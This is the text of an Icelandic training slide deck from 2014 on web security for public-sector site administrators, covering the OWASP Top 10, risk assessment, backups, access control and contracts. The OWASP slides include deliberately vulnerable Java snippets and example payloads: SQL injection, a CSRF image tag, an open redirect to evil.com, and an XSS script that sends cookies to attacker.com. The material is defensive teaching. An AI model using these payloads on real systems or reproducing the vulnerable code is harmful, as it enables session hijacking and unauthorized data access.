UPPLÝSINGAÖRYGGI OG OPINBERIR VEFIR

Fræðslufundur fyrir vefstjóra og aðra sem koma að þróun vefja.

27. nóvember 2014

Svavar Ingi Hermannsson, CISSP, CISA, CISM

DAGSKRÁ

- Kynning
- Almennt tölvuöryggi
- Öryggi vefja
- Staðlar tengdir upplýsingaöryggi
- Áhættumat
- Öryggi og flokkun gagna
- Stjórnun og rekstrarumhverfi

KYNNING

Svavar Ingi Hermannsson hefur sérhæft sig í tölvuöryggi síðustu 20 ár og hefur gengt ýmsum störfum tengt forritun og ráðgjöf í tölvuöryggi (innbrotsprófanir, veikleikagreiningar, kóðarýni, stjórnun upplýsingaöryggis (þar á meðal ISO/IEC 27001, PCI-DSS og PA-DSS)).

Svavar hefur kennt við Háskóla Íslands og Háskólann í Reykjavik, auk þess að hafa haldið fyrirlestra og námskeið bæði á Íslandi og í útlöndum.

Svavar var formaður faghóps um öryggismál hjá Skýrslutæknifélaginu frá 2007 til 2012.

Svavar er með ýmsar gráður, meðal annars: CISSP, CISA, CISM.

UPPLÝSINGAÖRYGGI – FJÓRAR STOÐIR

- **Leynd**
  - Gögn eiga einungis að vera aðgengileg þeim sem þess þurfa. Vernda ber gögn eftir viðkvæmnisstigi byggt á áhættumati.
- **Réttleiki**
  - Nauðsynlegt er að geta treyst þeim gögnum sem unnið er með hverju sinni og að þeim hafi ekki verið breytt án leyfis. Vernda ber gögn fyrir óheimilum breytingum og taka þar mið af áhættumati.
- **Tiltækileiki**
  - Tryggja þarf að gögn séu aðgengileg þegar þörf er á. Tryggja ber tiltækileika gagna byggt á niðurstöðu áhættumats.
- **Rekjanleiki**
  - Tryggja þarf að hægt sé að rekja aðgerðasögu (e.Logging history) eins og þörf er á. Byggja ber slíka kröfu á niðurstöðu áhættumats. Dæmi um rekjanleika aðgerða er atvikaskrá (e. Log).

ALMENNT TÖLVUÖRYGGI

- “How Apple and Amazon Security Flaws Led to My Epic Hacking” – Mat Honan (wired.com)

STAÐAN Á ÍSLANDI

- Öryggisgráður á íslandi 2013

CEH	CISA	CISSP	CISM
15	16	6	4

- Fjöldi fyrirtækja 2012 samkvæmt hagstofu var tæpla 63.000

KPMG – Rannsókn á stöðu netöryggismála á Íslandi
https://www.owasp.org/images/6/64/OWASP_april_2014.pdf

ÖRYGGI VEFJA

- Dæmi um vefkerfi:
  - Heimabankar
  - Skattaframtal
  - Heilbrigðisgátt
  - Vefverslanir

ÖRYGGI VEFJA

- Hversu margar tilkynntar vefafskræmingar haldið þið að hafi átt sér stað á íslenskum lénum, það sem af er liðið af 2014 (15.11.2014)?
  - 330
- Hvers konar fyrirtæki verða fyrir því að vera afskræmd?

ÖRYGGI VEFJA

- Hvað heldur fólk almennt að afskræming vefsíðna sé?
- Hvað vitum við að afskræming vefsíðan sé?
- Hvernig er brugðist við afskræmingum vefsíðna?
- Hvernig ætti að bregðast við afskræmingum vefsíðna?

ÖRYGGI VEFJA

- Upplýsingaleki
  - Skilaboð á vefsíðu
    - Rangt notandanafn
    - Rangt lykilorð
  - Villuboð / logg skrár
    - Hvað dettur ykkur í hug?
  - Öryggisafrit (kóða skrár, config skrár, .tar.gz, .zip, annað?)

ÖRYGGI VEFJA

- OWASP
  - Open Web Application Security Project
  - Not-for-profit world wide charitable organization focused on improving the security of application software.
  - Mission to make application security more visible, so that people can make informed decisions.

http://www.owasp.org/

http://www.upplysingaoryggi.is/blog/owasp_top_10.html

OWASP TOP 10

- Hvað er OWASP top 10?
  - "The goal of the Top 10 project is to raise awareness about application security by identifying some of the most critical risks facing organizations.“
  - It is a list of the top 10 most critical web application security risks.
- Fyrst gefinn út 2003
- Margar bækur, tól og staðlar vitna í OWASP top 10

A1 – INJECTION ATTACKS

- Injection flaws, such as SQL, OS, and LDAP injection, occur when untrusted data is sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data.
  - SQL queries
  - LDAP queries
  - Xpath
  - Program arguments / OS arguments

A1 – SQL INJECTION EXAMPLE

- Dæmi um kóða með SQL inspýtingarveikleika:

```
String query = "SELECT * FROM accounts WHERECustID='" +
request.getParameter("id") +"'";
```

- Dæmi um misnotkun á SQL innspýtingarveikleikanum:
  - http://example.com/app/accountView?id=' or '1'='1

A2 – BROKEN AUTHENTICATION AND SESSION MANAGEMENT

- “Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, session tokens, or exploit other implementation flaws to assume other users’ identities.”

A2 – BROKEN AUTHENTICATION AND SESSION MANAGEMENT - QUIZ

- Are credentials always protected when stored using hashing or encryption? (See A7).
- Can credentials be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password, weak session IDs)?
- Are session IDs exposed in the URL (e.g., URL rewriting)?

A2 – BROKEN AUTHENTICATION AND SESSION MANAGEMENT - QUIZ

- Are session IDs vulnerable to session fixation attacks?
- Do session IDs timeout and can users log out?
- Are session IDs rotated after successful login?
- Are passwords, session IDs, and other credentials sent only over TLS connections? (See A9)

A3 – BROKEN AUTHENTICATION AND SESSION MANAGEMENT

- Attack scenario 1.
  - http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii
    - Send link to friends with info on the trip you‘re planning.
- Attack scenario 2.
  - You use someones elses computer e.g. at an Internet cafee and the application's timeouts aren’t set properly.
- Attack scenario 3.
  - Insider or external attacker gains access to the system’s password database.

A3 – CROSS SITE SCRIPTING (XSS)

- XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation and escaping. XSS allows attackers to execute scripts in the victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

A3 – CROSS SITE SCRIPTING (XSS)

- Dæmi um kóða með XSS veikleika:

```
(String) page += "<input name='creditcard' type='TEXT‘value='"
+ request.getParameter("CC") + "'>";
```

- Dæmi um misnotkun á XSS veikleikanum (með því að gefa CC eftirfarandi gildi):
  - '><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.

A4 – INSECURE DIRECT OBJECT REFERENCES

- “A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.”

A4 – INSECURE DIRECT OBJECT REFERENCES

- Vulnerability example

```
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatementpstmt=connection.prepareStatement(query , ... );
pstmt.setString( 1, request.getParameter("acct"));
ResultSetresults = pstmt.executeQuery( );
```

- Attack example
  - http://example.com/app/accountInfo?acct=notmyacct

A5 – SECURITY MISCONFIGURATION

- “Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. All these settings should be defined, implemented, and maintained as many are not shipped with secure defaults. This includes keeping all software up to date, including all code libraries used by the application.”

A5 – SECURITY MISCONFIGURATION - QUIZ

- Is everything unnecessary disabled, removed, or not installed (e.g. ports, services, pages, accounts, privileges)?
- Are default account passwords changed or disabled?
- Is your error handling set up to prevent stack traces and other overly informative error messages from leaking?

A5 – SECURITY MISCONFIGURATION – ATTACK SCENARIOS

- Scenario #1
  - The app server admin console is automatically installed and not removed. Default accounts aren't changed. Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.

A5 – SECURITY MISCONFIGURATION – ATTACK SCENARIOS

- Scenario #2
  - Directory listing is not disabled on your server. Attacker discovers she can simply list directories to find any file. Attacker finds and downloads all your compiled Java classes, which she reverses to get all your custom code. She then finds a serious access control flaw in your application.
- Scenario #3
  - App server configuration allows stack traces to be returned to users, potentially exposing underlying flaws. Attackers love the extra information error messages provide.

A6 – SENSITIVE DATA EXPOSURE

- Many web applications do not properly protect sensitive data, such as credit cards, SSNs, and authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes.

- “Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired or invalid certificates, or do not use them correctly.”

A6 – SENSITIVE DATA EXPOSURE- QUIZ

- Sensitive data is encrypted everywhere it is stored long term, particularly in backups of this data?
- Only authorized users can access decrypted copies of the data (i.e., access control –See A4 and A7)?
- A strong standard encryption algorithm is used.
- A strong key is generated, protected from unauthorized access, and key change is planned for.

A6 – SENSITIVE DATA EXPOSURE

- Is SSL used to protect all authentication related traffic?
- SSL is used for all resources on all private pages and services. This protects all data and session tokens that are exchanged. Mixed SSL on a page should be avoided since it causes user warnings in the browser, and may expose the user's session ID.
- Only strong algorithms are supported.

A6 – SENSITIVE DATA EXPOSURE

- All session cookies have their ‘secure’ flag set so the browser never transmits them in the clear.
- The server certificate is legitimate and properly configured for that server. This includes being issued by an authorized issuer, not expired, has not been revoked, and it matches all domains the site uses.

A6 – SENSITIVE DATA EXPOSURE

- Scenario #1
  - A backup tape is made of encrypted health records, but the encryption key is on the same backup. The tape never arrives at the backup center.
- Scenario #2
  - The password database uses unsalted hashes to store everyone's passwords. A file upload flaw allows an attacker to retrieve the password file. All the unsalted hashes can be brute forced in 4 weeks, while properly salted hashes would have taken over 3000 years.

A6 – SENSITIVE DATA EXPOSURE

- Scenario #3:
  - “A site simply doesn’t use SSL for all pages that require authentication. Attacker simply monitors network traffic (like an open wireless or their neighborhood cable modem network), and observes an authenticated victim’s session cookie. Attacker then replays this cookie and takes over the user’s session.”

A6 – SENSITIVE DATA EXPOSURE

- Scenario #4:
  - A site has improperly configured SSL certificate which causes browser warnings for its users. Users have to accept such warnings and continue, in order to use the site. This causes users to get accustomed to such warnings. Phishing attack against the site's customers lures them to a lookalike site which doesn't have a valid certificate, which generates similar browser warnings. Since victims are accustomed to such warnings, they proceed on and use the phishing site, giving away passwords or other private data.

A6 – SENSITIVE DATA EXPOSURE

- Scenario #5:
  - A site simply uses standard ODBC/JDBC for the database connection, not realizing all traffic is in the clear.

A7 – MISSING FUNCTION LEVEL ACCESS CONTROL

- Many web applications check URL access rights before rendering protected links and buttons. However, applications need to perform similar access control checks each time these pages are accessed, or attackers will be able to forge URLs to access these hidden pages anyway.

A7 – MISSING FUNCTION LEVEL ACCESS CONTROL

- Is authentication required to access that page?
- Is it supposed to be accessible to ANY authenticated user? If not, is an authorization check made to ensure the user has permission to access that page?

A7 – MISSING FUNCTION LEVEL ACCESS CONTROL

- Attack scenarios
  - http://example.com/app/getappInfo
  - http://example.com/app/admin_getappInfo

A8 – CROSS-SITE REQUEST FORGERY

- A CSRF attack forces a logged-on victim's browser to send a forged HTTP request, including the victim's session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim's browser to generate requests the vulnerable application thinks are legitimate requests from the victim.

A8 – CROSS-SITE REQUEST FORGERY

- Normal use of a service vulnerable to a CSRF
  - http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
- Attack scenario
  - <imgsrc="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#“width="0" height="0" />

A9 – USING KNOWN VULNERABLE COMPONENTS

- “When software solutions are being used, they me be outdated with known vulnerabilities. Main software solutions may also be up to date, but some plugins or components may be out dated and/or contain known security vulnerabilities.”

A9 – USING KNOWN VULNERABLE COMPONENTS

- Do you have a process for keeping all your software up to date? This includes the OS, Web/App Server, DBMS, applications, and all code libraries?

A10 – UNVALIDATEDREDIRECTS AND FORWARDS

- “Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.”

A10 – UNVALIDATED REDIRECTS AND FORWARDS - ATTACK SCENARIOS

- Scenario #1
  - The application has a page called “redirect.jsp” which takes a single parameter named “url”. The attacker crafts a malicious URL that redirects users to a malicious site that performs phishing and installs malware.
    - http://www.example.com/redirect.jsp?url=evil.com

A10 – UNVALIDATED REDIRECTS AND FORWARDS - ATTACK SCENARIOS

- Scenario #2
  - The application uses forward to route requests between different parts of the site. To facilitate this, some pages use a parameter to indicate where the user should be sent if a transaction is successful. In this case, the attacker crafts a URL that will pass the application's access control check and then forward the attacker to an administrative function that she would not normally be able to access.
    - http://www.example.com/boring.jsp?fwd=admin.jsp

STAÐLAR TENGDIR UPPLÝSINGAÖRYGGI

- Stjórnunarlegir staðlar
  - ISO/IEC 27001 Stjórnkerfi upplýsingaöryggis.
  - ISO 23001 – Áætlun um samfelldan rekstur
  - ISO 31000 – Áhættumat
- Tæknilegir staðlar
  - OWASP top 10
  - CWE/SANS TOP 25 Most Dangerous Software Errors
  - PCI DSS

ÁHÆTTUMAT (1/2)

- ISO 31000
- Við framkvæmd áhættumats þarf að kortleggja eftirfarandi:
  - Eignir
  - Veikleikar og ógnir
  - Líkur
- Áhættumeðferðaráætlun
  - Ráðstafanir til að takmarka og draga úr áhættu.
  - Markmið með ráðstöfunum.
  - Ábyrgðaraðili ráðstafana.
    - (kostnaður vs. áhrif)

ÁHÆTTUMAT (2/2)

- Segir til um
  - Öryggi og flokkun gagna
  - Val á vefumsjónarkerfi.
  - Kröfur til hýsingaraðila.
  - Kröfur í samningum við þjónustuaðila.
  - Dulkóðun og öryggismál: Aðgangsstjórnun, dulkóðun gagna, notendanöfn og lykilorð og stjórnun aðgangs.
  - Öryggisafritun.
  - Öryggisprófanir á veflausnum.

YFIRSÝN OG SKILNINGUR (1/2)

- Yfirsýn
  - Hvaða gögn eru vistuð?
  - Hvar eru gögnin vistuð?
  - Hvaða gögnum er skiptst á (inntak/úttak)?
  - Hvaða gögn eru afrituð?
  - Ytri kröfur? (lagalegar?/samningsbundnar?)
- Dregur úr flækjustigi við áhættustýringu
  - Aðgangsstýringar
  - Viðlagaáætlun

YFIRSÝN OG SKILNINGUR (2/2)

- Dæmi um flokkun gagna
  - **Almennar upplýsingar**
    - Þessi flokkur nær til allra gagna sem hugsuð eru til almennrar útgáfu og eiga að vera aðgengileg almenningi.
  - **Innanhússupplýsingar**
    - Þessi flokkur ætti að ná til gagna sem eru ekki hugsuð til almennrar útgáfu og eru einungis til afnota innan viðkomandi ráðuneytis eða stofnunar.
  - **Viðkvæmar upplýsingar**
    - Þessi flokkur nær til viðkvæmra gagna sem ber að vernda, t.d. með dulkóðun. Dæmi um viðkvæmar upplýsingar eru lykilorð, kortaupplýsingar, heilsufarsupplýsingar, launaupplýsingar o.s.frv.

VAL Á VEFUMSJÓNARKERFUM (1/3)

- Hafa þeir sem hanna og forrita vefumsjónarkerfið hlotið nægilega þjálfun í tengslum við öryggi veflausna?
- Þekkja þeir helstu áhættuþætti er snúa að veflausnum (OWASP top 10 / SANS top 25)?
- Hafa þeir nægilega þekkingu til þess að hanna viðeigandi stýringar í viðkomandi kerfi?
- Er boðið upp á dulkóðun gagna í gagnagrunni (þegar þess er þörf)?

VAL Á VEFUMSJÓNARKERFUM (2/3)

- Er stöðug þróun á vefumsjónarkerfinu?
- Verða viðskiptavinir látnir vita ef öryggisgallar finnast í vefumsjónarkerfinu? Hefur það ferli verið skjalað?
- Er gert ráð fyrir því að öryggisuppfærslur verði viðskiptavinum að kostnaðarlausu?
- Hafa verið framkvæmdar öryggisúttektir á viðkomandi vefumsjónarkerfi?
  - Er hægt að fá afrit af skýrslu vegna þessa?

VAL Á VEFUMSJÓNARKERFUM (3/3)

- Hönnun vefkerfa
  - Hefur hugbúnaðarþróunarferli verið skilgreint?
  - Hefur regluverk við forritun verið skilgreint?
  - Hafa öryggiskröfur verið skilgreindar?
  - Breytingastjórnun?
  - Útgáfustjórnun með öryggisúttektum
    - Kóðarýni?
    - Öryggisúttekt?
    - Prófanir á grunn virkni?
  - Hafa forritarar hlotið þjálfun í öryggi hugbúnaðarþróunar?

VAL Á HÝSINGAR- OG ÞJÓNUSTUAÐILUM (1/2)

- Hefur hýsingaraðilinn innleitt stjórnkerfi upplýsingaöryggis? (ISO/IEC 27001)
- Hefur viðkomandi hlotið faglega vottun á stjórnkerfi upplýsingaöryggis?
  - Ef svo er, hvert er umfang vottunarinnar?
  - Þó svo að hýsingaraðili sé vottaður þýðir ekki að þið séuð vottuð.
- Er virk neyðar- og viðlagaáætlun til staðar?

VAL Á HÝSINGAR- OG ÞJÓNUSTUAÐILUM (2/2)

- Vöktun og frávikaskráning
  - Reglulegir stöðufundir til að meta framvindu veittrar þjónustu og yfirfara frávikaskráningu.
- Eru stöðugar öryggisuppfærslur á skilgreindum viðhaldstímum?

ÖRYGGISAFRITUN (1/3)

- Af hverju ætti að taka öryggisafrit? Hvað getur gerst? (Áhættumat - ISO 31000)
- Hvaða gögn þarf að afrita?
- Hvaða gögn þarf ekki að afrita?
- Hversu oft þarf að afrita gögn?
- Hversu lengi þarf að geyma afrituð gögn?
- Hefur ábyrgðaraðili gagna verið skilgreindur?

ÖRYGGISAFRITUN (2/3)

- Eru kröfur um öryggisafritunartöku skjalaðar?
- Er ferli við öryggisafritunartöku skjalað?
- Er verið að vakta öryggisafritunartökuna?
- Mikilvægt er að staðfesta öryggisafritunar töku og prófa að endurheimta frá öryggisafriti (að lágmarki einu sinni á ári). Slíkar prófanir ætti að skjala.
- Kröfum um öryggisafritunarkröfu þarf að vera komið á framfæri með skriflegum hætti (samningur).

ÖRYGGISAFRITUN (3/3)

- Er passað upp á að frumgögn séu ekki geymd á sama stað / svæði og öryggisafrit?
- Hvernig er aðgangi að öryggisafritum stýrt? Hverjir hafa aðgang?
- Hvernig skal staðið að förgun gagna og afritunarmiðla?

STJÓRNUN AÐGANGS (1/2)

- Er til staðar formlegt ferli við stjórnun aðgangs?
  - Hver getur óskað eftir aðgangi?
  - Breytt aðgangsheimildum?
  - Lokað fyrir aðgang?
- Er ferlið rekjanlegt?
- Er aðgangur rýndur reglulega?

STJÓRNUN AÐGANGS (2/2)

- Notendanöfn og lykilorð
  - Notast ætti við auðkenningarþjónustu hjá ísland.is þar sem því verður komið við.
  - Að öðrum kosti ætti að gera kröfu til lykilorða um að lágmarki þrjú af eftirfarandi fjórum atriðum séu uppfyllt: hástafir, lágstafir, tölur, sértákn.
  - Mikilvægt að geyma lykilorð ekki á textaformi (OWASP top 10).
- Notast ætti við hópa við aðgangsstýringar, þar sem það er í boði.

ÖRYGGI GRUNNKERFA (1/2)

- Ávallt með nýjustu öryggisuppfærslunum (póstlistar)
  - Vefmiðlarar
  - Gagnagrunnskerfi
  - Stýrikerfi
  - Kóðasöfn (e. Library)
- Hvernig skal staðið að öryggisuppfærslum? (innan hvaða tímaramma? Á hvaða tíma sólarhrings?)
- Hefur verið lokað fyrir það sem ekki er þörf á.
- Er búið að loka fyrir eða breyta sjálfgefnum notendum/ lykilorðum.

ÖRYGGI GRUNNKERFA (2/2)

- Eru eldveggir til staðar?
- Er innbrotsvöktunarkerfi til staðar?
  - Er verið að vakta innbrotsvöktunarkerfið?

SAMNINGAR (1/3)

- Ekki gera ráð fyrir því að eitthvað sé innifalið í samningum.
- Ef það kemur ekki fram í samningum eða viðaukum, þá er ekki hægt að treysta því.
- Hvað er innifalið í þjónustusamning?
  - Uppitími?
  - Þjónustustig?
  - Viðbragðstími?
  - Aðgengi að tæknimönnum?
  - Fyrirkomulag öryggisafritunartöku?

SAMNINGAR (2/3)

- Hvernig er viðbragðstími ef öryggisgallar finnast?
- Eru öryggisuppfærslur viðskiptavinum að kostnaðarlausu?
- Hverjir munu hafa aðgang að gögnum? (starfsmenn þjónustuaðila? Þriðji aðili?)
- Skilgreina formlegt aðgangsstýringarferli þar sem ábyrgðaraðilar verkkaupa eru skilgreindir.
  - Tilkynna ætti aðgangsbreytingar þjónustuaðila og annara til ábyrgðaraðila verkkaupa.

SAMNINGAR (3/3)

- Formleg breytingastjórnun + tilkynningar um fyrirhugaðar breytingar.
- Tryggja þarf viðeigandi eftirlitsferli

SJÁLFSMAT (1/6)

- 1. Hvaða upplýsingar eru hýstar í veflausn
  - Upplýsingar aðgengilegar almenningi
  - Upplýsingar um notendur vefsíðunnar
  - Viðkvæmar upplýsingar s.s. korta og persónugerandi upplýsingar

- 2. Hvaða þjónusta er veitt í veflausn
  - Einföld vefsíða, upplýsingaveita
  - Einhver virkni og tengingar við aðra vefsíður
  - innskráning og tekur á móti á upplýsingum frá notendum

SJÁLFSMAT (2/6)

- 3. hvernig er miðlun upplýsinga háttað
  - í gegnum vefsíðu
  - í gefnum vef og snjallsíma
  - í gegnum vef, snjallsíma og snjallforrit

- 4. hversu oft er efni vefsíðunnar uppfært
  - mánaðarlega eða sjaldnar
  - vikulega
  - daglega

SJÁLFSMAT (3/6)

- 5. Umfang veflausnar
  - ein stofnun
  - fleiri en ein stofnun
  - fleiri en ein stofnun og undir stofnanir

- 6. hversu lengi getur stofnun starfað án veflausnar
  - mánuður eða lengri tími
  - vika eða skemmri tími
  - innan dags

SJÁLFSMAT (4/6)

- 7. Hvernig er hýsing á vefnum háttað
  - Hýst og rekið af viðkomandi stofnun
  - Hýst hjá þriðjaaðila en rekið af stofnun
  - Öll hýsing og rekstur útvistað

- 8. Vefumsjónarkerfi
  - Stöðluð og þekkt lausn
  - Opin hugbúnaður / open source
  - Sérsmíðuð lausn
  - Samblanda af staðlaðri og sérsmíðaðri lausn

SJÁLFSMAT (5/6)

- 9. Tengist vefumsjónarkerfi við ytri aðila
  - Engar tengingar við ytri aðila
  - Tenging til staðar við ytri aðila
  - Tenging til staðar við fleiri en einn ytri aðila
- 10. Tengist veflausn við upplýsingakerfi stofnunarinnar
  - Engar tengingar við önnur kerfi
  - Tenging við almenn skrifstofukerfi
  - Tenging við fjárhags- og eða upplýsingakerfi

SJÁLFSMAT (6/6)

- 11. Auðkenning notenda
  - Engin auðkenning notenda
  - Veflausn byggir á auðkenningarþjónustu Island.is (hjá Þjóðskrá Íslands).
  - Notendanafn og lykilorð

- 12. Stærð upplýsingatæknideildar
  - 1 til 3
  - 4 til 10
  - 11+
  - Rekstri upplýsingatæknikerfa útvistað

TAKK FYRIR

Spurningar?

Svavar Ingi Hermannsson, CISSP, CISA, CISM
svavar@security.is
http://www.upplysingaoryggi.is/